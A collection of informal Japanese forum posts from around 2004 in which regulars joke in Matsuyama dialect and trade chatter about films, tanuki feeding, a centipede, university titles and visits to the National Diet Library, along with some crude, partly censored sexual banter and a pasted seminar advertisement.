>マドンナメイト派が多い松山の地で、フランス派とは驚きました。ありゃ〜、松山ゆうてバレてましたですか。
頑張って東京弁で書こうと努力はしてたんでございますが…。ま、ほじゃけど、バレてしもうたらしょうがないわい。
バレたけん、普段使いよる言葉でかかせてもらおうわい。ほうよ、ほうよ。
(管理人訳:そう、そう。)
smさんにええこと教えてあげよーわい。
松山弁は語尾に「わい」を付けるとええわい。
長井秀和風にゆうたら、「間違いないわい」やわい。
(管理人訳:長井秀和風に言うと、「間違いないわい」だと思います。)語尾に「わい」をつけよるだけで松山弁っぽくなるわい。
こんな感じに。「いってこーわい」
(管理人訳:(家を出るときに家族に対する挨拶としての)いってきまーす。)
「かえってこーわい」
(管理人訳:これから帰りますね。)『坊っちゃん』には「ぞなもし」「ぞなもし」ゆうて、
生意気な学生がいいよる場面がでてこぉ?あれは、今、もうどこにも聞かんわい、ああゆう感じの会話は。
それに『坊っちゃん』にマドンナが出てくるゆうても、
マドンナメイト派とも限らんわい。フランス派でもええもんはええけんね。
女優でゆうと『ポゼッション』のイザベル・アジャーニはエロくてよかったわい。
じゃけど、僕はデビッド・クローネンバーグが大好きなくらいやけん、
グロさではまだまだやったわい。
やっぱりクローネンバーグの『ラビッド』とかたまらんね。
『ラビッド』見よるときに、母親が「何見よん?」ゆうて
テレビの部屋に入ってこられたときは閉口したわい。
母親には絶対あのグロさの良さはわからんけんね。
案の定、顔をしかめとったわい。『スキャナーズ』の頭が爆発するシーンはよかったわい。
そういえば『ビデオドローム』は逆貞子やね。
あと、『デッド・ゾーン』以来、ずっと僕はクリストファー・ウォーケンのファンなんよ。
あんな存在感のある俳優はなかなかおらんわい。
でも、『ザ・フライ』ころになるとB級っぽさがなくなってイマイチやったわい。
ほうやから、『ザ・フライ』の後は見とらん。あれ、なんの話しやったかね?
そうや、そうや、松山弁の雰囲気は、ゆうとなぁ、
『はねるのトびら』ゆう番組、深夜にやりよるやろ?
smさんのところはフジテレビやろか、
それとも、フジテレビ系列の地方の局やろかわからんけんど、
こっちはテレビ愛媛でやりよるわい。あれのな、ロバートの秋山さんておるやろ、
あの人が昔やりよった「バカボンド」のしゃべり方によう似とらい。
(管理人訳:あの人が昔やっていた「バカボンド」のしゃべり方によく似ています。)ほうよ、ロバートゆうたら『ロバートライブ 楽しもうゼ!』を本屋さんで見つけたんよ。
ほれで、「はねトび」みたいに笑わせてくれるか思おてこうたんよ。
(管理人訳:〜思って買ったんですよ。)
ほじゃけど、無茶苦茶つまらんかったけん、買わんほうがええわい。>間違って文庫クセジュを買ってはいけませんよ。
>あれは違う流派です。本を開くといきなり睡魔に襲われます。あ、ほうですか。気をつけようわい。
(管理人訳:あ、そうですか。気をつけますね。)>あと、その友人にDVDの存在を教えてあげてください。
松山は最近S-VHSが電気屋さんに並んだくらい遅れとるけん、
DVDはあと5、6年せんと手に入らんわい。だいたい、松山ゆうたら未だにこんな汽車が街の中を走りよるくらいやけんね。
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なんか松山弁で書くと、文章がダラけたみたいになっていかんわい。
やっぱり東京弁にしょーわい。
んでですね、先日smさんに教えてもらった、
>ケーシー・高峰著「グラッチェ・メディスン(愛・戦士編)」民明書房刊
なんですが、古本屋で『魁!!男塾』を立ち読みしたんですよ。
1巻から30巻くらいまで。
「民明書房図書館」を見て、もしかして『男塾』に載っているかなぁ、と思ったもんで。でも、お腹が膨れて、破裂させられて負ける間抜けな男の話は出てましたけど、
タマタマが膨れるのはなかったみたいです。
読み飛ばしてしまったのかもしれませんです、はい。どこに行けば手に入るんですか?
やっぱりタヌキが出るような田舎の松山じゃ無理ですかね……。そうそう、今、四国で高校野球大会をしてるんですが、
マンタク高校とサイビがたたかって、サイビが9回に4点を取って逆転勝ちしてました。
マンタク先生の本を読むだけで、精を貯める修行自体がまだまだ足りないんです、きっと。
管理者殿、失礼します。日本ディベート研究協会の冨士邦彦と申します。
次の通りご案内いたします。
★「ディベート大学」の総力を結集した革新的な手法「知識創造ディベート」を駆使
して現状を分析し未来を予測し、革新的な経営・マーケティング戦略を提言します。
★日本の最高水準・最大規模の質量ともに圧倒的な迫力のディベートにご期待ください。
★小室直樹先生のご出席を予定しております。■日時 平成16年11月20日(土) 午後12時30分〜4時(開場12時)
■会場 全電通ホール 〒101-0062千代田区神田駿河台3-6 ��03-3219-2211◆プログラム 12:30 〜16:00(12時開場)
★基調講演「ビジネス・ディベートによる最強ビジネスモデルの構築」
論題1「トヨタとホンダではどちらの経営戦略が優れているか」
論題2「ヨーカ堂とイオンではどちらのマーケティングが優れているか」
論題3「韓国サムソンと日本企業はどちらのせ経営戦略が優れているか」
論題4「ソニーとシャープではどちらの経営戦略が優れているか」
論題5「キャノンと富士写真フィルムではどちらの経営戦略が優れているか」
論題6「京セラと村田製作所ではどちらの経営戦略が優れているか」
論題7「花王とユニチャームではどちらのマーケティングが優れているか」
(注)論題に変更がある場合がありますのでご了承ください。★討論者 日本ディベート研究協会「ディベート大学」研究員40名
★司会 「ディベート大学」首席研究員 北岡俊明■参加費用 2千円(一人)
■申込み 108-0074 東京都港区高輪3-25-35-702 日本ディベート研究協会
03(3441)8120 FAX03(3441)8393 メール kitaoka@japandebate.com
銀行振込 東京三菱品川駅前支店 普通0828877
郵便振替 口座番号 00100−5−684375日本ディベート研究協会
申込書(フアックス・メール・郵送)
・氏 名(○印�仝朕諭´�会社)・電 話(緊急用・携帯)
・住 所 ・会社名
(以下、当掲示板過去ログより)
[3257] タヌキのタメグソ公開 投稿者:村上@不法残留中 投稿日:2004/06/08(Tue) 21:07:07 見たくない人は見ない方がいいと思いますよ。
そのままですから。
残念ながら「タヌちゃん」は激写できませんでした。
1.タメグソのあった、庭の竹やぶ
「これが庭か」というなかれ。
動物王国ですから常識は通じません。
http://www.interq.or.jp/sun/atsun/pic/tame0.jpg2.タメグソに接近
http://www.interq.or.jp/sun/atsun/pic/tame1.jpg3.キターーーーーーーーッ!
http://www.interq.or.jp/sun/atsun/pic/tame2.jpg
あぁ、くだらん。
しかし、これを見てタヌキのタメグソだと分るウチの親も親ですな。「少年老い易く、学成り難し。 一寸の光陰軽んずべからず。」(朱子)
時の経つのは速いもので、あれからもう5ヶ月になるんですね。
この一連のタヌキ投稿を締めくくるものはやはりアレしかありません。
というわけで、わたくし、
先ほど現在のタメグソ様に拝謁を賜ってまいりました。さすがに画像を直接表示させるわけには参りませんので、
URLを貼り付けておきます。今回のものは前回の乾いたものと比べ、神々しいまでに生々しゅうございます。
また、食事時でもあります。個人的にはご覧になられない方が良かろうと思います。
ちなみに、わたくしは覇気気 を催しました。一度はハクビシンかと疑いましたが、
タメグソの習性がある以上、やはりタヌキ様ですね。
リンク先のタヌキ様の剥製を見ると、今回の5匹とソックリですし。ありがたや、ありがたや。
飢えたタヌちゃん、どんどんやってきます。横から三匹目。
「どーもーーっ。」
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:57:32 画像の幅 x 高さ (容量) 640x480 (42 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
奥から四匹目。
こう増えてくると、こっちもちょっとコワくなってきたりして…。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 05:03:10 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
どこからともなく五匹目。
中に一匹、「丹下左膳」ならぬ「タヌキ右膳」がいて、殺されるかと思いました。
可愛いのは二、三匹までですねぇ。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 05:33:45 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 でも、クマじゃなくってよかった。
この二匹は仲がよろしゅうござんした。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:41:12 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:43:00 画像の幅 x 高さ (容量) 640x480 (46 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:44:21 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
きっと興奮していたのでしょう、
一匹目の写真がやたら多かったです。
なんとか三枚に絞りました。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:28:40 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:34:03 画像の幅 x 高さ (容量) 640x480 (43 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:35:01 画像の幅 x 高さ (容量) 640x480 (38 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
まずは、この一匹から始まりました。
この後、続々と草木の陰から一匹また一匹と現れてくるのです。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 04:24:43 画像の幅 x 高さ (容量) 640x480 (42 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 『プロジェクトX』の素材には決してならない、
あまりにも容易な餌付けでした。「君たち、そんなことでいいのか!野生の誇りはないのか!」
と、小一時間問いただしたいような感じです。飢えているんだろうけど、
タヌちゃん、ちょっとイジキタナすぎ。
それはそうとして、ですね、
ウチの人間はわたし以外全員が狸を迫害する側の人間なんです。
ですから、もしわたしが狸の餌付けをしたことがバレたらタダではすみません。彼らからすれば、わたしの行為は外患援助罪(刑法82条)にあたるでしょう。
刑罰はどうでしょう…、
さすがに獄門さらし首とまでは行かないまでも、
軽トラに縛り付けられての市中引き回しの刑程度は覚悟しなければなりません。
罪刑法定主義なんぞは動物王国では通用しませんからなぁ。餌付に成功したこの興奮を誰かに話したい。けど、話せない。
あぁ、なんて辛いんでしょう。あれ、わたし、何しに田舎に帰ってたてんでしたっけ?
ははは、はぁ…。
今回のsmさんのお題、
「ラテン語と古典ギリシャ語は違うものですか?」について、
気の利いたお返事をなんとか捻り出そうしていると、
家の外でタヌキのジャレあう声が…。そこで「今日こそは!」と思い、
パンと携帯を持って外に飛び出して餌付けに挑戦すること数時間。つ、つ、ついに成功しました、タヌちゃんの餌付けに。
うー、うーー、うぅーーー……(泣いている)。
じゅるじゅる…(鼻水)、チーーンッ。携帯の写真にして189枚。
タヌちゃん、最高集合時で6匹。
ただ、デジカメにおさまったのは5匹だと思いますが。用意した餌ならびに携帯の電池およびメモリーが切れてしまって、
気がついたら朝になっておりました。後で数枚見繕ってアップしようと思いますが、
とりあえず一枚。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:11:01 05:20:47 画像の幅 x 高さ (容量) 640x480 (42 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
総長と学長の違い、よくわかりました。
「髭があるのが総長、無いのが学長」にするよう
27代目に提案してみてください。
ファンサイトの書き込みによると軍学者の結婚式は半月後のようです。
ご祝儀のつもりで新刊を2冊以上買いましょう。
吉阪隆正が亡くなってから25年らしいです。
もう過去の人なんですかね。
最近の建築科の新入生はガウディしかしらないと
新聞に書いてありました。
質問
ラテン語と古典ギリシャ語は違うものですか?ウェルテルさん
マドンナメイト派が多い松山の地で、フランス派とは驚きました。
間違って文庫クセジュを買ってはいけませんよ。
あれは違う流派です。本を開くといきなり睡魔に襲われます。
あと、その友人にDVDの存在を教えてあげてください。
本日、我が家の電話機の下に恐竜を発見しました。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:30 11:20:33 画像の幅 x 高さ (容量) 640x480 (24 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 さて、それはそうと、
smさんはやはり野球にお詳しいですねぇ。
O氏は大沢さんで、F氏は藤田さんですか。
藤田さんは無茶苦茶強かったみたいですね。軍学者さんギリシャ語を学ばれているのですか。
善悪の判断にギリシア語ですか、面白いですね。
婚約されたのも初耳でした。軍学者は「わたしはもう枯れた」ってどこかで書いておられたのに…。
キリスト教徒の多い国では、修道女との危険な関係に燃えるようですから、
軍学者も、もしかしてクリスチャンで、
修道女というのにメラメラと来たのかもしれませんね。ギリシア語で、フランス書院が出てきたのは、
アテネ・フランセを連想されたからだと思いますが、
御茶ノ水のアテネ・フランセの建物、
コルビジェの弟子の吉阪隆正さん設計ですね。
吉阪隆正さんのディスコント(不連続統一体)。
いわゆるシステム論の影響を受けてるんでしょうか。現代ギリシア語は英語と同じように強弱をつける方式、ストレス・アクセントなんですが、
古典ギリシア語のアクセントって音を半音上げる方式、ピッチ・アクセントなんです。
ですから、長文を読むと、なんとなく百人一首を詠んでいるような感じなんですよね。これを言うと、「どうして古典古代の言葉の音がわかるの?」と聞かれることがありますが、
わたしもわかりません(笑)。もう10年以上前になりますが、
わたくしが初めて団鬼六先生を拝見いたしましたのは、
松尾貴史・早坂あきよ司会の「平成名物TV・ヨタロー」でした。
立川ボーイズ(志らく・談春)、
落協エシャレッツ(三遊亭窓里・春風亭あさ市・橘家文吾)、
芸協ルネッサンス(春風亭昇太他)、etc。
最近じゃあ、あの番組ほど面白いのはなかなかないですなぁ。
わたくしの下ネタの恩師は、間違いなく三遊亭窓里師匠です。
たとえ政治家になろうとも…。
ソーリ師匠、下ネタの世界に戻ってきてください!!
と直訴したいです。野球ネタでは、たしか、
「キヨマラ、クワタ(咥える仕草をしながら)、インランの対決。」とか
「解説はベッチョ。」とかいうのがあったような(笑)。
回答>1学長と総長とは同じものですか?
歴史的由来があってかつては違っていたんです。
しかし、今では学長=総長ですね。
以下、第145回国会 文教委員会 第7号(平成11年4月14日)をご覧ください。
○松浪委員 わかったようでわからない極めて特異例の話を持ち出されました。
今、一言ちょっと気になりましたことがありました。加藤一郎総長と呼ばれましたが、東大に総長という呼称はあるんですか。○有馬国務大臣 これはいわばローカルダイアレクトですね。かつては総長でした、戦前は。
それはなぜかというと、当時は東京大学法科大学。ですから、法科大学には法科大学長がいたわけです。それから理学部は理科大学長というふうに学長がいました。それが一つの塊をなして東京大学をつくっていた。したがいまして、東京大学の学長は総理と言ったこともあります。総長とも言いました。それが今でも残っているわけですね。そういうことで、学内的には総長という言葉を使いましたので、そういう言葉で先ほど申し上げた次第でございます。○松浪委員 午前中、栗本委員の質問の中にも、栗本委員は有馬総長と呼ばれました。実は、これはない呼称なんですね。今いみじくも大臣が言われたように、戦前の話なんです。それが今も生きているんです。
今度、これだけ立派に法改正をやる。本当に徹底することができるのか。戦前の考えで生きて、大学を動かしている皆さん方が、ましてや文部大臣の座につかれた元学長が、この速記のあるところで戦前の話を持たれるので、大臣、徹底する自信、ございますか。○有馬国務大臣 公的文書ではすべて学長でございます。ただ、卒業式とか内部的なところでは、旧帝国大は七大学ありますが、そこでは総長という言葉を使っていると思いますけれども、公的な文書は全部学長でございます。ですから、そういう意味で、学長というのは全部に使われるようになっておりますので、同じように今回も十分この法律の精神は浸透できると思っております。
○松浪委員 ちなみに、大臣、速記録も公的な文書でございますから……(有馬国務大臣「はい、直しましょう」と呼ぶ)私は同意するかどうか、後で検討させていただきますけれども。
やはり教育の場ですから、これはメディアも悪い面がありますけれども、東京大学だ、旧七帝大だからと権威づけて、他の、かつてのいわゆる二期校と違うんだから総長というような呼称があるのか、あるいは書いている記者がそこの卒業生だから余計に権威づけようと思っているのかは知りませんけれども、こういう呼称ははっきりしなければならないというのは、卒業したのか中退したのか、この国ではうるさいわけですね。諸外国ではうるさくないんです。また、この東京大学新聞 2004年10月5日号の記事は、
「総長」と「副学長」ということになっていて、
複雑な歴史と複雑な心境をうかがい知ることができます(笑)。
【総長選】次期総長に小宮山副学長<2004.10.5号>
佐々木毅総長の任期満了に伴う次期総長選挙が9月27日、本郷で行われ、小宮山宏副学長(理事・工学系研究科教授)が第28代総長の予定者として選出された。任期は来年4月からの4年間。法人化後初めて行われた今回の総長選は、大学構成員の意見を広く反映させた従来の制度をもとに、「学長は学長専攻会議が選出する」という国立大学法人法の規定を考慮した、新たな選挙制度により行われた。候補者には佐々木総長もあがったが、再選はならなかった。小宮山次期総長は、総長補佐や工学系研究科長などを歴任。03年からは副学長を務め、高度に細分化された学問領域を広い視点から捉え直そうという「知識の構造化」を唱えて、COEの推進など教育研究の充実に向けてリーダーシップを発揮してきた。吉川弘之・現産業技術総合研究所理事長以来8年ぶりの理系総長として、佐々木総長が整えた国立大学法人としての体制をいかに発展させていくかが注目される。うぅ、佐々木総長……。
手前、無念でござる。
鉄砲玉の手前にできることがあれば、何なりとご連絡くだせえ。
と、ちょっと戻ってみたりして。
>2橋本治氏と荒俣宏氏、蓮実重彦氏、誰が一番背が高いですか?
荒俣宏氏です。
荒俣宏氏(183.5cm)>蓮実重彦氏(182�僉法箒極楴�氏(180cm)
橋本さんって背の高いイメージなかったですけど、結構高かったんですね。
この前、友だちからフランス書院文庫借りたんですよ。
小さくて黒っぽい表紙の、あのフランス書院文庫です。「ウェルテル君。君は自宅生だからビデオばっかだろ。
たまには本もいいよ。想像力よ、想像力。」って言われまして、はい。
仕方なく、借りたんですよ。
ホント、仕方なくですよ。しかし、読んでみてビックリですよ。
もう興奮しちゃって、興奮しちゃって。
二ヶ所で○○ちゃいました、はい。
すいませんです、えへへ。
(管理人修正済:ウェルテルさん、掲示板の品位を落とすような単語はお慎みください。
「すいませんです、えへへ。」では済みません。)それでですね、smさん。
この話には感動的なオマケ話があるんですよ。翌日学校で貸してくれた友だちに返す時のことなんです。
「ありがと。カナリよかったよ。えへへ。」
っていったらですね、
「んで、ウェルテル君はどこで○○たの?」
(管理人修正済)って聞いてくるんですよ、ヤツが。
まったくエロいヤツです(笑)。それで僕は正直に話したんです。
「まず、主人公が先生と○○○○するところやろ。
それから、主人公の妹が不良連中に○○○されるところやな。」
(管理人修正済)そうしたら、そいつ、
ニンマリと笑って、握手を求めてくるんですよ。
そいで、しっかり手を握りしめて言うんです。「完全に一緒や。」
なんか青春ですよね〜〜。
二人の間に連帯感が生じちゃって、
アノミーなんかぶっ飛ばせですよ!
>フランス派の一人としてフ、フ、フランス派でござんすか…。
フランスといえば、手前らの同士、マフィアの仇敵でござる…。"Morte alla Francia, Italia anela!"
>眼を患ってサングラスが手放せないため、不安でした。
「目を患って」…。
うぐぅ……。
それは、それはまことでござるか。
ヤクザの身だしなみとしての「レイバン」ではござらんのですか…。手前、完全にキャラを間違えたようでござるな……。
小野寺さん、ご回答ありがとうございました。
眼を患ってサングラスが手放せないため、不安でした。
ありがとうございました。元日ハム監督のO氏や巨人の監督になった西条高の大番長F氏、
高校時代は本当に悪かったようですね。
私は頭が悪かっただけです。
村上さんはギリシャ語も学ばれていたのですか。
そういえば「古典を読むために40を過ぎてギリシャ語を習い始めた」
と軍学者の新学期インタビューにありましたよ。
ギリシャ語をやらないと「善悪の判断にイマイチ確信がもてない」
との理由です。修道女との婚約とは直接関係がないようです。
義理が学べて修道女とも仲良くなれるギリシャ語はすばらしいですね。
私も「ギリシャ語4週間」を買って勉強したいと思っているのですが
ついフランス書院の語学書に手が伸びてしまうのであります。
団鬼六先生の本は持っていません。
質問
1学長と総長とは同じものですか?
2橋本治氏と荒俣宏氏、蓮実重彦氏、誰が一番背が高いですか?
お控えなすって、お控えなすっておくんなせえ。
ご一同様さっそくお控えくださり、ありがとうござんす。軒下三寸借り受けましての御仁義、失礼さんにござんす。
これよりあげます言葉のあとさき、間違えましたらごめんなすって。手前、生国と発しますはタヌキの国愛媛は松山でござんす。
姓は村上、名は秘密、人呼んで単に「村上」と申しやす。
手前、オヤジの右の玉の中、
橋本先生の東大組駒場祭の哀歌をきいてオタマジャクシに育ちやした。「とめてくれるなおっかさん 背中の銀杏が泣いている 男東大どこへ行く」
餓鬼のころから、橘組の橘先生、片岡先生の伝記『野望の王国』を読んでは涙し、
物心ついた時分から、東大組系法科組に入って暴れることだけが夢でござんした。その後は艱難辛苦、幾星霜、
河合塾若頭森永先生の教えを授かりやして、無事、東大組に入りやした。三下時代は空手道に精を出し、法科組で暴れるための体力を養いやして、
留年の後、三度目の挑戦で夢の法科組大学院に入学を許可されやした。あれは個人指導のときでござんした。
指導教官、佐々木組長は教えてくれやした。「おい、村上。義理とはなんだか分るか。義理とはギリシアのことよ。」
手前、義理にそんな格調ある由来があったとはつゆ知らず、
「さすが法科組組長、一生この人についていこう」と思いやした。そのような秘伝を教えていただきやした以上、
鉄砲玉といえどもいてもたってもいられやせん。手前、文科組に他学部修行に出やして、
阿部姐さんの古典ギリシア語の授業を受けながら、
義理の何たるかを学んでまいりやした。
しかし、案の定、手前には難しくて挫折しやした。それでも歩目呂州『伊里安』の最初くらいは暗唱できるのでござんす。
その後、法科組佐々木組長は、ついに東大組二十七代目総長になられやした。
総長は薪屋縁『君主論』でご自身の頭をコツコツ叩きながらおっしゃられやした。「村上。これからのヤクザはココで生きていく時代よ。」
しょせん鉄砲玉の手前。
佐々木総長のように学を渡世に生かすことは無理でござんしたが、
それでも稼業上、親と発しますは、二十七代目総長佐々木毅にござんす。その後、鉄砲玉ゆえ、本州に居づらくなる事情がござんして、
シチリア島に身を潜めたマイケル先生ではございませんが、
四国島に身を潜めておるのでござんす。
受験勉強のためなどというのは言い訳でござんす。以後面体お見知りおきのうえ、よろしくお引き回しのほど、
おたのみ申しやす。それにいたしましても、sm先生が彫り物を背負っておられるとはつゆ知らず、
縛ったり吊るしたり叩いたりのSM愛好家のお医者様とばかり思っておりやした。鉄砲玉の手前が「smさん」なんぞと呼ぶのは千年早ようござんす。
これからは「sm親分」と呼ばさせていただきやす。誤解ゆえの下ネタをはじめ、これまでの数々のご無礼、
なにとぞお許しいただきたくお願いいたしやす。前口上、長くなりましたが、ご回答いたしやす。
国会図書館には、刺青、サングラスの人間も全く問題なく入れていただけやす。
手前、唐獅子牡丹を背負っておりますが、一度もとめられたことはございやせん。小野寺組の親分がおっしゃられたとおりでござんす。
以上、お役に立てれば幸いでございやす。
>質問
>刺青、サングラスの人間でも国会図書館に入れますか?入れると思います。以下ご参照ください。
入館資格満18歳以上の方であれば、どなたでも入館・利用できます。
ご回答ありがとうございます。
一度も行った事が無いので、知りませんでした。
次に上京した際には、名著「ノクターン」を拝観してまいります。
ついでに藤原先生の「石油と金の魔術」と軍学者の「ロープウェイ」、
小室先生の「日本教」等も見てきます。
質問
刺青、サングラスの人間でも国会図書館に入れますか?
いかにも怪しい者は犯人ではなく、
いかにも怪しくない者が犯人である、と。本人か事務所の方は「忌まわしき過去」を回収しているわけですか。
そして、事務所では高額落札した本をシュレッダーにかけている…。国会図書館に何度も通っておりながら、不覚にも気がつきませんでした。
理屈が合っていますから、十中八九、間違いないでしょう。そういう観点で切り抜きの本質に迫られるとはsmさんならではですね。
わたくしはてっきり、いわゆるお宝マニアが切り抜いたのだろうとばかり考えておりました。いや、まさに名探偵シャーロック・マープルさんの面目躍如たるご推理。
感服いたしました。
回答国会図書館の入口では、
まことに痛恨の極みですが、
そけい部をモミモミモミモミしていただけるような、
そのような持ち物検査はありません。ただ、図書館員の方が軽く手元を視姦するだけです。
カバンなどを持っていない限り、呼び止められることはありません。
それでも、まぁ、視姦マニアにはたまらない瞬間でしょうが、
わたくしのようなノーマルな人間にはどうも物足りません。出口でも同様です。
ですから、切り取った頁をファイルなどに挟んで持ち出したりすること、
これは十分可能というのが現状です。
犯人は、ズバリ、本人か事務所の人でしょう。
ネットオークションで高値落札しているのも同じ人物です。
無免許名探偵の推理なので、ハズレているかもしれません。
軍学者の本の場合は、高値で売っているのが本人の可能性も。
あくまで推理です。
質問
国会図書館は持ち物検査はしないのですか?
先ほどわたくしの部屋に巨大なムカデさんが現れました。そこで、やむなく退治いたしまして、
その一部始終の一部を写真に残しました。皆さんのたってのご要望もあり、
ここに謹んでご報告いたします。いやぁ〜、しかし、こんなのに刺されたら、
ムヒどころではすみません。実は、先日、別の小さなムカデさんがバスルームに現れたんです。
よりにもよって、わたくしのバスタオルの間に入り込んでおりました。おそらくタオルから都会的で、えもいわれぬ芳香がしたのでしょう。
ですから、いちがいにムカデさんを責めるわけにはいきません。わたくし、当然ながらそのムカデさんに気がつきませんでした。
そして、タオルで体を拭こうとした瞬間、そけい部を刺されてしまいました。チクッ!
「ギャーーーーーーーーッ!!」
もし刺されたのがもう少し左でしたら、
わたくしの息子が大変なことになっておりました。3センチくらいの小さなムカデさんでしたので、
針の毒も少なかったのでしょう、ピリピリとした少々の痛みで済みました。
そして、ムヒを息子の横にヌリヌリして一晩寝ると、朝には腫れもひいていました。
しかし、今回は10センチを越える巨大ムカデです。
こんなのにそけい部を刺されないためにも、
かわいそうですが、エクセキュートするしかありません。
以下、そのムカデさんの写真です。
心臓に悪いのでモザイクをかけさせていただきました。興味のある方は、画像をクリックしてください。
無修正画像が別窓で開きます。
もっとも、あまりお勧めしませんが。
きっと虫唾が走りますよ。
まず、この状態で見つかりました。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:26 08:07:34 画像の幅 x 高さ (容量) 640x480 (42 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 題して「頭隠して尻隠さず」
その後、ゴザの下にもぐりこみまして、ようやく発見。
大まかなサイズはこれでお分かりでしょう。
近くにあったCDを隣においてみました。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:26 08:17:34 画像の幅 x 高さ (容量) 640x480 (31 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 題して「デビー・ギブソンとムカデさん」
この後、ムカデさんとわたくしとの間で血で血を洗う激闘が行われまして…。
ムカデさんは敵として実に見事でした。
まったく涙なくしてこのムカデさんの姿を見ることはできません。わたくし、こんな画像を貼り付けたら動物虐待で捕まるかもしれません。
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:10:26 08:18:23 画像の幅 x 高さ (容量) 640x480 (35 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 題して「満身創痍」
この後、このムカデさん。
台所のガスレンジにて「火あぶりの刑」に処せられました。ムカデさんは丈夫ですので、
ゴキブリさんのようにつぶしても、
なかなか昇天してくれないのです。したがって、我が家では般若心経をあげながら「焼く」のです。
以上、「小室直樹文献目録掲示板」残酷物語でした。
アーメン。
うーむ、なるほど。
たしかにうかつに近づくべきではないかもしれませんね。
あの頃のわたくしは死に場所を見つけるように彷徨しておりましたから、
そういうコワさはあまり気になりませんでしたね。
他方、小室直樹博士は裏本のコレクションをテレビで公開してしまわれるほど、
裏表のまったく感じられない方ですから、近寄っていきたいのですが…。わたくし、合格したら小室先生にお会いに行こう!と思いつつ、
なぜか今愛媛におりまして、地理的にはかえって遠ざかってしまっています(笑)。
さて、兵頭先生の雑誌連載を纏めない方針についてですが、
兵頭先生、
ときどき国会図書館の軍事資料の重要部分が切り取られていることを発見して、
憤慨されておられますよね。もし、国会図書館に収められているご自身の雑誌連載記事が切り取られてしまったら、
読者はやはりその記事をほとんど読むことができなくなるわけでして…。
『発言者』だったらどこでも手に入るでしょうが、
『マガジン・ウォー』なんてなかなか他の図書館には無いですからね。そういうわけで、10年くらいたったら方針を転換して纏めていただきたいものです。
雑誌の切り取りということでいえば、
わたくしもこんな話を聞いたことがあります。場所はやはり国会図書館。
恥をしのんで蒲池幸子(ZARD の坂井泉水)先生の名著『ノクターン』
(専門店店頭価格15万(当時))を閲覧請求し、
出庫の番号表を見ながら、
風俗店の待合室でお呼びがかかるのを待つかの如き気持ちで出庫を待ち、
出庫後は「貴重書だから」と特別室に連行されるという憂き目に合い、
やっとの思いで本を手にしてブルブル震える手で頁をめくったところ、
お目当ての頁がザックリ切り取られているのを発見。ぐおおおおおおおおおおおおおおおぅおぅおぅおぅおぅ、のぉおおおっ!!
普段は至って温和な
わたくし、じゃなくって、そのお方、
このときばかりは怒髪天を突く勢いで、烈火のごとく怒り出しまして、
火炎放射器が手元にあったら国会図書館を焼き尽くしているところだった、
とのことです。※蒲池幸子写真集『NOCTURNE』について
参考1:ヤフオク(10月12日 50,000円で落札)
参考2:ヤフオク(7月8日 77,000円で落札)
参考3:ヤフオク(現在 75,000円で出品中)
参考4:アマゾン・ユーズド(現在、90,000円で出品中)ほんと、図書館の本の一部を切り取るなんて、常識のない閲覧者っているんですね。
往復書簡をネット上で公開することで、別宮先生をメジャーデビュー
させてしまった軍学者なので、雑誌連載を纏めない方針にも
何か意図があるのでしょう。
ほぼ架空の対談で本を作ってしまう藤原先生や
軍学者のような人には、うかつに近寄れません。
小室先生との「脱ニッポン型」が架空対談本ではない事は村上さんが
確認してるようなので安心してます。
奥山さん、いつの間にかカッコよくなってるぅ…。
整形前の画像保存しておくんだったなぁ。
smさん、園芸がご趣味だとは知りませんでした。
植物を愛する人は通常やさしい心をお持ちですから、
smさんはきっとやさしいお方なんですね。月9「ラストクリスマス」の青島刑事みたいに、
ベランダで育てたハーブを無造作にちぎっては、
お食事に使ったりしておられるのでしょう。
かっくぃー!おっしゃれー!smさんとは、以前「二十八」の由来についてお話したことがありましたね。
兵頭先生は、雑誌論文を単行本化しない主義なので、
